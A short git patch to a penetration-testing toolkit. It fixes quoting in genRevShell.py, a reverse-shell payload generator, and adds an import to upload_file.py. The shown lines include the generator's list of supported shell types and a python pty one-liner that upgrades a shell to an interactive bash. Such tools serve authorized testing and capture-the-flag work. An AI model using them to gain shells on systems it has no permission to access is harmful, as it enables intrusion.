From 15f45be9d5f4d411edc35c6768448255ec0c2f54 Mon Sep 17 00:00:00 2001 From: Roman Hergenreder Date: Thu, 6 Feb 2020 23:27:29 +0100 Subject: [PATCH] Small fixes --- genRevShell.py | 2 +- upload_file.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/genRevShell.py b/genRevShell.py index d9bb272..0cd5658 100755 --- a/genRevShell.py +++ b/genRevShell.py @@ -51,7 +51,7 @@ if __name__ == "__main__": print("Supported types: bash, perl, python[2|3], php, ruby, netcat|nc, java, xterm") exit(1) - tty = "python -c 'import pty; pty.spawn(\"/bin/bash\")" + tty = "python -c 'import pty; pty.spawn(\"/bin/bash\")'" print("---PAYLOAD---\n%s\n---TTY---\n%s\n---------\n" % (payload, tty)) if payload_type == "xterm": diff --git a/upload_file.py b/upload_file.py index b4a84b4..b9cbe96 100755 --- a/upload_file.py +++ b/upload_file.py @@ -1,5 +1,6 @@ import socket import sys +import os import netifaces as ni if len(sys.argv) < 2: